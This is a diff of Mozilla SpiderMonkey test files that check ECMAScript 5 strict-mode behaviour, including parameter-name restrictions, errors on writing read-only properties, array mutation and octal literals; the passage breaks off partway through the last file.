+assertEq(testLenientAndStrict('function f({x:arguments}){"use strict";}',
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('function arguments(){"use strict";}',
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(function f(arguments){})',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(function f([arguments]){})',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(function f({x:arguments}){})',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(function arguments(){})',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(function f(arguments){"use strict";})',
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(function f([arguments]){"use strict";})',
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(function f({x:arguments}){"use strict";})',
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(function arguments(){"use strict";})',
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(function f(arguments) 2)',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(function f([arguments]) 2)',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(function f({x:arguments}) 2)',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(function arguments() 2)',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('({set x(arguments){}})',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('({set x([arguments]){}})',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('({set x({x:arguments}){}})',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('({set x(arguments){"use strict";}})',
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('({set x([arguments]){"use strict";}})',
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('({set x({x:arguments}){"use strict";}})',
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+
+/*
+ * Functions produced using the Function constructor may not use
+ * 'eval' or 'arguments' as a parameter name if their body is strict
+ * mode code. The strictness of the calling code does not affect the
+ * constraints applied to the parameters.
+ */
+assertEq(testLenientAndStrict('Function("eval","")',
+ completesNormally,
+ completesNormally),
+ true);
+assertEq(testLenientAndStrict('Function("eval","\'use strict\';")',
+ raisesException(SyntaxError),
+ raisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('Function("arguments","")',
+ completesNormally,
+ completesNormally),
+ true);
+assertEq(testLenientAndStrict('Function("arguments","\'use strict\';")',
+ raisesException(SyntaxError),
+ raisesException(SyntaxError)),
+ true);
+
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/strict/15.10.7.js b/js/src/tests/ecma_5/strict/15.10.7.js
new file mode 100644
index 000000000..5f1d4fa9f
--- /dev/null
+++ b/js/src/tests/ecma_5/strict/15.10.7.js
@@ -0,0 +1,15 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+assertEq(testLenientAndStrict('var r = /foo/; r.lastIndex = 42; r.lastIndex',
+ returns(42), returns(42)),
+ true);
+assertEq(testLenientAndStrict('var r = /foo/; delete r.lastIndex',
+ returns(false), raisesException(TypeError)),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/strict/15.3.4.5.js b/js/src/tests/ecma_5/strict/15.3.4.5.js
new file mode 100644
index 000000000..bc93bb67a
--- /dev/null
+++ b/js/src/tests/ecma_5/strict/15.3.4.5.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function strict() { 'use strict'; return this; }
+function lenient() { return this; }
+var obj = {};
+
+assertEq(strict.bind(true)(), true);
+assertEq(strict.bind(42)(), 42);
+assertEq(strict.bind("")(), "");
+assertEq(strict.bind(null)(), null);
+assertEq(strict.bind(undefined)(), undefined);
+assertEq(strict.bind(obj)(), obj);
+
+assertEq(lenient.bind(true)() instanceof Boolean, true);
+assertEq(lenient.bind(42)() instanceof Number, true);
+assertEq(lenient.bind("")() instanceof String, true);
+assertEq(lenient.bind(null)(), this);
+assertEq(lenient.bind(undefined)(), this);
+assertEq(lenient.bind(obj)(), obj);
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/strict/15.3.5.1.js b/js/src/tests/ecma_5/strict/15.3.5.1.js
new file mode 100644
index 000000000..163928ee4
--- /dev/null
+++ b/js/src/tests/ecma_5/strict/15.3.5.1.js
@@ -0,0 +1,16 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function fn() {
+ return function(a, b, c) { };
+}
+
+assertEq(testLenientAndStrict('var f = fn(); f.length = 1; f.length',
+ returns(3), raisesException(TypeError)),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/strict/15.3.5.2.js b/js/src/tests/ecma_5/strict/15.3.5.2.js
new file mode 100644
index 000000000..3106a0985
--- /dev/null
+++ b/js/src/tests/ecma_5/strict/15.3.5.2.js
@@ -0,0 +1,16 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function fn() {
+ return function(a, b, c) { };
+}
+
+assertEq(testLenientAndStrict('var f = fn(); delete f.prototype',
+ returns(false), raisesException(TypeError)),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/strict/15.4.4.12.js b/js/src/tests/ecma_5/strict/15.4.4.12.js
new file mode 100644
index 000000000..5b98c8a71
--- /dev/null
+++ b/js/src/tests/ecma_5/strict/15.4.4.12.js
@@ -0,0 +1,50 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function arr() {
+ return Object.defineProperty([1, 2, 3], 0, {writable: false});
+}
+
+function obj() {
+ var o = {0: 1, 1: 2, 2: 3, length: 3};
+ Object.defineProperty(o, 0, {writable: false});
+ return o;
+}
+
+assertEq(testLenientAndStrict('var a = arr(); [a.splice(0, 1), a]',
+ raisesException(TypeError),
+ raisesException(TypeError)),
+ true);
+
+assertEq(testLenientAndStrict('var o = obj(); [Array.prototype.splice.call(o, 0, 1), o]',
+ raisesException(TypeError),
+ raisesException(TypeError)),
+ true);
+
+function agap() {
+ var a = [1, 2, , 4];
+ Object.defineProperty(a, 1, {configurable: false});
+ return a;
+}
+
+function ogap() {
+ var o = {0: 1, 1: 2, /* no 2 */ 3: 4, length: 4};
+ Object.defineProperty(o, 1, {configurable: false});
+ return o;
+}
+
+assertEq(testLenientAndStrict('var a = agap(); [a.splice(0, 1), a]',
+ raisesException(TypeError),
+ raisesException(TypeError)),
+ true);
+
+assertEq(testLenientAndStrict('var o = ogap(); [Array.prototype.splice.call(o, 0, 1), o]',
+ raisesException(TypeError),
+ raisesException(TypeError)),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/strict/15.4.4.13.js b/js/src/tests/ecma_5/strict/15.4.4.13.js
new file mode 100644
index 000000000..05d757aea
--- /dev/null
+++ b/js/src/tests/ecma_5/strict/15.4.4.13.js
@@ -0,0 +1,50 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function arr() {
+ return Object.defineProperty([1, 2, 3], 0, {writable: false});
+}
+
+function obj() {
+ var o = {0: 1, 1: 2, 2: 3, length: 3};
+ Object.defineProperty(o, 0, {writable: false});
+ return o;
+}
+
+assertEq(testLenientAndStrict('var a = arr(); [a.unshift(40, 50), a]',
+ raisesException(TypeError),
+ raisesException(TypeError)),
+ true);
+
+assertEq(testLenientAndStrict('var o = obj(); [Array.prototype.unshift.call(o, 40, 50), o]',
+ raisesException(TypeError),
+ raisesException(TypeError)),
+ true);
+
+function agap() {
+ var a = [1, 2, , 4];
+ Object.defineProperty(a, 3, {configurable: false});
+ return a;
+}
+
+function ogap() {
+ var o = {0: 1, 1: 2, /* no 2 */ 3: 4, length: 4};
+ Object.defineProperty(o, 3, {configurable: false});
+ return o;
+}
+
+assertEq(testLenientAndStrict('var a = agap(); [a.unshift(9), a]',
+ raisesException(TypeError),
+ raisesException(TypeError)),
+ true);
+
+assertEq(testLenientAndStrict('var o = ogap(); [Array.prototype.unshift.call(o, 9), o]',
+ raisesException(TypeError),
+ raisesException(TypeError)),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/strict/15.4.4.6.js b/js/src/tests/ecma_5/strict/15.4.4.6.js
new file mode 100644
index 000000000..2625f1ba9
--- /dev/null
+++ b/js/src/tests/ecma_5/strict/15.4.4.6.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function arr() {
+ return Object.defineProperty([1, 2, 3], 2, {configurable: false});
+}
+
+function obj() {
+ var o = {0: 1, 1: 2, 2: 3, length: 3};
+ Object.defineProperty(o, 2, {configurable: false});
+ return o;
+}
+
+assertEq(testLenientAndStrict('var a = arr(); [a.pop(), a]',
+ raisesException(TypeError),
+ raisesException(TypeError)),
+ true);
+
+assertEq(testLenientAndStrict('var o = obj(); [Array.prototype.pop.call(o), o]',
+ raisesException(TypeError),
+ raisesException(TypeError)),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/strict/15.4.4.8.js b/js/src/tests/ecma_5/strict/15.4.4.8.js
new file mode 100644
index 000000000..676871405
--- /dev/null
+++ b/js/src/tests/ecma_5/strict/15.4.4.8.js
@@ -0,0 +1,50 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function arr() {
+ return Object.defineProperty([1, 2, 3], 0, {writable: false});
+}
+
+function obj() {
+ var o = {0: 1, 1: 2, 2: 3, length: 3};
+ Object.defineProperty(o, 0, {writable: false});
+ return o;
+}
+
+assertEq(testLenientAndStrict('var a = arr(); a.reverse()',
+ raisesException(TypeError),
+ raisesException(TypeError)),
+ true);
+
+assertEq(testLenientAndStrict('var o = obj(); Array.prototype.reverse.call(o)',
+ raisesException(TypeError),
+ raisesException(TypeError)),
+ true);
+
+function agap() {
+ var a = [1, 2, , 4];
+ Object.defineProperty(a, 1, {configurable: false});
+ return a;
+}
+
+function ogap() {
+ var o = {0: 1, 1: 2, /* no 2 */ 3: 4, length: 4};
+ Object.defineProperty(o, 1, {configurable: false});
+ return o;
+}
+
+assertEq(testLenientAndStrict('var a = agap(); a.reverse()',
+ raisesException(TypeError),
+ raisesException(TypeError)),
+ true);
+
+assertEq(testLenientAndStrict('var o = ogap(); Array.prototype.reverse.call(o)',
+ raisesException(TypeError),
+ raisesException(TypeError)),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/strict/15.4.4.9.js b/js/src/tests/ecma_5/strict/15.4.4.9.js
new file mode 100644
index 000000000..4d08fe98f
--- /dev/null
+++ b/js/src/tests/ecma_5/strict/15.4.4.9.js
@@ -0,0 +1,50 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function arr() {
+ return Object.defineProperty([10, 20, 30], 0, {writable: false});
+}
+
+function obj() {
+ var o = {0: 10, 1: 20, 2: 30, length: 3};
+ Object.defineProperty(o, 0, {writable: false});
+ return o;
+}
+
+assertEq(testLenientAndStrict('var a = arr(); [a.shift(), a]',
+ raisesException(TypeError),
+ raisesException(TypeError)),
+ true);
+
+assertEq(testLenientAndStrict('var o = obj(); [Array.prototype.shift.call(o), o]',
+ raisesException(TypeError),
+ raisesException(TypeError)),
+ true);
+
+function agap() {
+ var a = [1, 2, , 4];
+ Object.defineProperty(a, 1, {configurable: false});
+ return a;
+}
+
+function ogap() {
+ var o = {0: 1, 1: 2, /* no 2 */ 3: 4, length: 4};
+ Object.defineProperty(o, 1, {configurable: false});
+ return o;
+}
+
+assertEq(testLenientAndStrict('var a = agap(); [a.shift(), a]',
+ raisesException(TypeError),
+ raisesException(TypeError)),
+ true);
+
+assertEq(testLenientAndStrict('var o = ogap(); [Array.prototype.shift.call(o), o]',
+ raisesException(TypeError),
+ raisesException(TypeError)),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/strict/15.4.5.1.js b/js/src/tests/ecma_5/strict/15.4.5.1.js
new file mode 100644
index 000000000..3fb04ebd6
--- /dev/null
+++ b/js/src/tests/ecma_5/strict/15.4.5.1.js
@@ -0,0 +1,84 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var out = {};
+
+function arr() {
+ return Object.defineProperty([1, 2, 3, 4], 2, {configurable: false});
+}
+
+function nonStrict1(out)
+{
+ var a = out.array = arr();
+ a.length = 2;
+}
+
+function strict1(out)
+{
+ "use strict";
+ var a = out.array = arr();
+ a.length = 2;
+ return a;
+}
+
+out.array = null;
+nonStrict1(out);
+assertEq(deepEqual(out.array, [1, 2, 3]), true);
+
+out.array = null;
+try
+{
+ strict1(out);
+ throw "no error";
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true, "expected TypeError, got " + e);
+}
+assertEq(deepEqual(out.array, [1, 2, 3]), true);
+
+// Internally, SpiderMonkey has two representations for arrays:
+// fast-but-inflexible, and slow-but-flexible. Adding a non-index property
+// to an array turns it into the latter. We should test on both kinds.
+function addx(obj) {
+ obj.x = 5;
+ return obj;
+}
+
+function nonStrict2(out)
+{
+ var a = out.array = addx(arr());
+ a.length = 2;
+}
+
+function strict2(out)
+{
+ "use strict";
+ var a = out.array = addx(arr());
+ a.length = 2;
+}
+
+out.array = null;
+nonStrict2(out);
+assertEq(deepEqual(out.array, addx([1, 2, 3])), true);
+
+out.array = null;
+try
+{
+ strict2(out);
+ throw "no error";
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true, "expected TypeError, got " + e);
+}
+assertEq(deepEqual(out.array, addx([1, 2, 3])), true);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/strict/15.5.5.1.js b/js/src/tests/ecma_5/strict/15.5.5.1.js
new file mode 100644
index 000000000..f07828eb5
--- /dev/null
+++ b/js/src/tests/ecma_5/strict/15.5.5.1.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function str() {
+ return new String("foo");
+}
+
+assertEq(testLenientAndStrict('var s = str(); s.length = 1; s.length',
+ returns(3), raisesException(TypeError)),
+ true);
+assertEq(testLenientAndStrict('var s = str(); delete s.length',
+ returns(false), raisesException(TypeError)),
+ true);
+
+assertEq(testLenientAndStrict('"foo".length = 1',
+ returns(1), raisesException(TypeError)),
+ true);
+assertEq(testLenientAndStrict('delete "foo".length',
+ returns(false), raisesException(TypeError)),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/strict/15.5.5.2.js b/js/src/tests/ecma_5/strict/15.5.5.2.js
new file mode 100644
index 000000000..fa2c9231f
--- /dev/null
+++ b/js/src/tests/ecma_5/strict/15.5.5.2.js
@@ -0,0 +1,15 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+assertEq(testLenientAndStrict('"foo"[0] = 1',
+ returns(1), raisesException(TypeError)),
+ true);
+assertEq(testLenientAndStrict('delete "foo"[0]',
+ returns(false), raisesException(TypeError)),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/strict/8.12.5.js b/js/src/tests/ecma_5/strict/8.12.5.js
new file mode 100644
index 000000000..c351c19c3
--- /dev/null
+++ b/js/src/tests/ecma_5/strict/8.12.5.js
@@ -0,0 +1,82 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function obj() {
+ var o = {all: 1, nowrite: 1, noconfig: 1, noble: 1};
+ Object.defineProperty(o, 'nowrite', {writable: false});
+ Object.defineProperty(o, 'noconfig', {configurable: false});
+ Object.defineProperty(o, 'noble', {writable: false, configurable: false});
+ return o;
+}
+
+assertEq(testLenientAndStrict('var o = obj(); o.all = 2; o.all',
+ returns(2), returns(2)),
+ true);
+
+assertEq(testLenientAndStrict('var o = obj(); o.nowrite = 2; o.nowrite',
+ returns(1), raisesException(TypeError)),
+ true);
+
+assertEq(testLenientAndStrict('var o = obj(); o.noconfig = 2; o.noconfig',
+ returns(2), returns(2)),
+ true);
+
+assertEq(testLenientAndStrict('var o = obj(); o.noble = 2; o.noble',
+ returns(1), raisesException(TypeError)),
+ true);
+
+assertEq(testLenientAndStrict('obj().nowrite++',
+ returns(1), raisesException(TypeError)),
+ true);
+assertEq(testLenientAndStrict('++obj().nowrite',
+ returns(2), raisesException(TypeError)),
+ true);
+assertEq(testLenientAndStrict('obj().nowrite--',
+ returns(1), raisesException(TypeError)),
+ true);
+assertEq(testLenientAndStrict('--obj().nowrite',
+ returns(0), raisesException(TypeError)),
+ true);
+
+
+function arr() {
+ return Object.defineProperties([1, 1, 1, 1],
+ { 1: { writable: false },
+ 2: { configurable: false },
+ 3: { writable: false, configurable: false }});
+}
+
+assertEq(testLenientAndStrict('var a = arr(); a[0] = 2; a[0]',
+ returns(2), returns(2)),
+ true);
+
+assertEq(testLenientAndStrict('var a = arr(); a[1] = 2; a[1]',
+ returns(1), raisesException(TypeError)),
+ true);
+
+assertEq(testLenientAndStrict('var a = arr(); a[2] = 2; a[2]',
+ returns(2), returns(2)),
+ true);
+
+assertEq(testLenientAndStrict('var a = arr(); a[3] = 2; a[3]',
+ returns(1), raisesException(TypeError)),
+ true);
+
+assertEq(testLenientAndStrict('arr()[1]++',
+ returns(1), raisesException(TypeError)),
+ true);
+assertEq(testLenientAndStrict('++arr()[1]',
+ returns(2), raisesException(TypeError)),
+ true);
+assertEq(testLenientAndStrict('arr()[1]--',
+ returns(1), raisesException(TypeError)),
+ true);
+assertEq(testLenientAndStrict('--arr()[1]',
+ returns(0), raisesException(TypeError)),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/strict/8.12.7-2.js b/js/src/tests/ecma_5/strict/8.12.7-2.js
new file mode 100644
index 000000000..2fd4dbae3
--- /dev/null
+++ b/js/src/tests/ecma_5/strict/8.12.7-2.js
@@ -0,0 +1,21 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+// delete o[p] only performs ToString(p) once, even if there's a strict error.
+var hits = 0;
+var p = {
+ toString: function () {
+ hits++;
+ return "noconfig";
+ }
+};
+assertEq(testLenientAndStrict('var o = Object.freeze({noconfig: "ow"}); delete o[p]',
+ returns(false), raisesException(TypeError)),
+ true);
+assertEq(hits, 2);
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/strict/8.12.7.js b/js/src/tests/ecma_5/strict/8.12.7.js
new file mode 100644
index 000000000..518adc799
--- /dev/null
+++ b/js/src/tests/ecma_5/strict/8.12.7.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function setup() {
+ var o = {all: 1, nowrite: 1, noconfig: 1, noble: 1};
+ Object.defineProperty(o, 'nowrite', {writable: false});
+ Object.defineProperty(o, 'noconfig', {configurable: false});
+ Object.defineProperty(o, 'noble', {writable: false, configurable: false});
+ return o;
+}
+
+assertEq(testLenientAndStrict('var o = setup(); delete o.all',
+ returns(true), returns(true)),
+ true);
+
+assertEq(testLenientAndStrict('var o = setup(); delete o.nowrite',
+ returns(true), returns(true)),
+ true);
+
+assertEq(testLenientAndStrict('var o = setup(); delete o.noconfig',
+ returns(false), raisesException(TypeError)),
+ true);
+
+assertEq(testLenientAndStrict('var o = setup(); delete o.noble',
+ returns(false), raisesException(TypeError)),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/strict/8.7.2.js b/js/src/tests/ecma_5/strict/8.7.2.js
new file mode 100644
index 000000000..76b474cd7
--- /dev/null
+++ b/js/src/tests/ecma_5/strict/8.7.2.js
@@ -0,0 +1,56 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/*
+ * These tests depend on the fact that testLenientAndStrict tries the
+ * strict case first; otherwise, the non-strict evaluation creates the
+ * variable. Ugh. Ideally, we would use evalcx, but that's not
+ * available in the browser.
+ */
+
+/* Assigning to an undeclared variable should fail in strict mode. */
+assertEq(testLenientAndStrict('undeclared=1',
+ completesNormally,
+ raisesException(ReferenceError)),
+ true);
+
+/*
+ * Assigning to a var-declared variable should be okay in strict and
+ * lenient modes.
+ */
+assertEq(testLenientAndStrict('var var_declared; var_declared=1',
+ completesNormally,
+ completesNormally),
+ true);
+
+/*
+ * We mustn't report errors until the code is actually run; the variable
+ * could be created in the mean time.
+ */
+assertEq(testLenientAndStrict('undeclared_at_compiletime=1',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+function obj() {
+ var o = { x: 1, y: 1 };
+ Object.defineProperty(o, 'x', { writable: false });
+ return o;
+}
+
+/* Put EXPR in a strict mode code context with 'with' bindings in scope. */
+function in_strict_with(expr) {
+ return "with(obj()) { (function () { 'use strict'; " + expr + " })(); }";
+}
+
+assertEq(raisesException(TypeError)(in_strict_with('x = 2; y = 2;')), true);
+assertEq(raisesException(TypeError)(in_strict_with('x++;')), true);
+assertEq(raisesException(TypeError)(in_strict_with('++x;')), true);
+assertEq(raisesException(TypeError)(in_strict_with('x--;')), true);
+assertEq(raisesException(TypeError)(in_strict_with('--x;')), true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/strict/B.1.1.js b/js/src/tests/ecma_5/strict/B.1.1.js
new file mode 100644
index 000000000..cf36711dc
--- /dev/null
+++ b/js/src/tests/ecma_5/strict/B.1.1.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/* Octal integer literal at top level. */
+assertEq(testLenientAndStrict('010',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+
+/* Octal integer literal in strict function body */
+assertEq(parseRaisesException(SyntaxError)
+ ('function f() { "use strict"; 010; }'),
+ true);
+
+
+/*
+ * Octal integer literal after strict function body (restoration of
+ * scanner state)
+ */
+assertEq(parsesSuccessfully('function f() { "use strict"; }; 010'),
+ true);
+
+/* Octal integer literal in function body */
+assertEq(parsesSuccessfully('function f() { 010; }'),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/strict/B.1.2.js b/js/src/tests/ecma_5/strict/B.1.2.js
new file mode 100644
index 000000000..b44108fe1
--- /dev/null
+++ b/js/src/tests/ecma_5/strict/B.1.2.js
@@ -0,0 +1,38 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+assertEq(testLenientAndStrict('"\\010"',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+
+assertEq(testLenientAndStrict('"\\00"',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+
+assertEq(testLenientAndStrict('"\\1"',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+
+assertEq(testLenientAndStrict('"\\08"',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+
+assertEq(testLenientAndStrict('"\\0"',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+assertEq(testLenientAndStrict('"\\0x"',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/strict/assign-to-callee-name.js b/js/src/tests/ecma_5/strict/assign-to-callee-name.js
new file mode 100644
index 000000000..3c2efba2e
--- /dev/null
+++ b/js/src/tests/ecma_5/strict/assign-to-callee-name.js
@@ -0,0 +1,42 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'assign-to-callee-name.js';
+var BUGNUMBER = 610350;
+var summary =
+ "Assigning to a function expression's name within that function should " +
+ "throw a TypeError in strict mode code";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var f = function assignSelfStrict() { "use strict"; assignSelfStrict = 12; };
+
+try
+{
+ var r = f();
+ throw new Error("should have thrown a TypeError, returned " + r);
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "didn't throw a TypeError: " + e);
+}
+
+var assignSelf = 42;
+var f2 = function assignSelf() { assignSelf = 12; };
+
+f2(); // shouldn't throw, does nothing
+assertEq(assignSelf, 42);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/strict/browser.js b/js/src/tests/ecma_5/strict/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_5/strict/browser.js
diff --git a/js/src/tests/ecma_5/strict/directive-prologue-01.js b/js/src/tests/ecma_5/strict/directive-prologue-01.js
new file mode 100644
index 000000000..681fa9293
--- /dev/null
+++ b/js/src/tests/ecma_5/strict/directive-prologue-01.js
@@ -0,0 +1,78 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 601262;
+var summary =
+ "A string literal containing an octal escape before a strict mode " +
+ "directive should be a syntax error";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+try
+{
+ eval(" '\\145'; 'use strict'; ");
+ throw new Error("no error thrown for eval");
+}
+catch (e)
+{
+ assertEq(e instanceof SyntaxError, true,
+ "wrong error for octal-escape before strict directive in eval");
+}
+
+try
+{
+ Function(" '\\145'; 'use strict'; ");
+ throw new Error("no error thrown for Function");
+}
+catch (e)
+{
+ assertEq(e instanceof SyntaxError, true,
+ "wrong error for octal-escape before strict directive in Function");
+}
+
+try
+{
+ eval(" function f(){ '\\145'; 'use strict'; } ");
+ throw new Error("no error thrown for eval of function");
+}
+catch (e)
+{
+ assertEq(e instanceof SyntaxError, true,
+ "wrong error for octal-escape before strict directive in eval of " +
+ "function");
+}
+
+try
+{
+ Function(" function f(){ '\\145'; 'use strict'; } ");
+ throw new Error("no error thrown for eval of function");
+}
+catch (e)
+{
+ assertEq(e instanceof SyntaxError, true,
+ "wrong error for octal-escape before strict directive in eval of " +
+ "function");
+}
+
+eval("function notAnError1() { 5; '\\145'; function g() { 'use strict'; } }");
+
+Function("function notAnError2() { 5; '\\145'; function g() { 'use strict'; } }");
+
+function notAnError3()
+{
+ 5;
+ "\145";
+ function g() { "use strict"; }
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/strict/eval-variable-environment.js b/js/src/tests/ecma_5/strict/eval-variable-environment.js
new file mode 100644
index 000000000..a10f43f43
--- /dev/null
+++ b/js/src/tests/ecma_5/strict/eval-variable-environment.js
@@ -0,0 +1,67 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var code;
+
+code =
+ "eval('var x = 2; typeof x');";
+assertEq(testLenientAndStrict(code, returns("number"), returns("number")),
+ true);
+
+code =
